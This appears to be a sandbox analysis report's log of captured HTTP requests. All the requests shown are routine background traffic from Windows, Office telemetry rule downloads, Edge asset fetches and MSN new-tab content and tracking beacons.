Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=T4V3CttayKfXn5D&MD=7xfds2MS HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733393127&P2=404&P3=2&P4=Ip8wIh8Dnq77xEn07DQqV7XpxWE20hwdg%2fAMwO8I1V5ABpMMM%2bOYoL2PPP14b4id04pxvZ7K0eHzjJ1R3p5Ykw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: WUHPGNDB/akcmEsa974tf0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732794601278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E27FF0838006C7C38C4EA4D39726D3F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732794601277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=52774db8804d4ee0a3d6f3bc67acd2b6&activityId=52774db8804d4ee0a3d6f3bc67acd2b6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3E27FF0838006C7C38C4EA4D39726D3F&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=6d21883fd223439e8c253e5a7faf7676 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732794601278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E27FF0838006C7C38C4EA4D39726D3F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=103664f78d1f1c196b2cc191732788337; 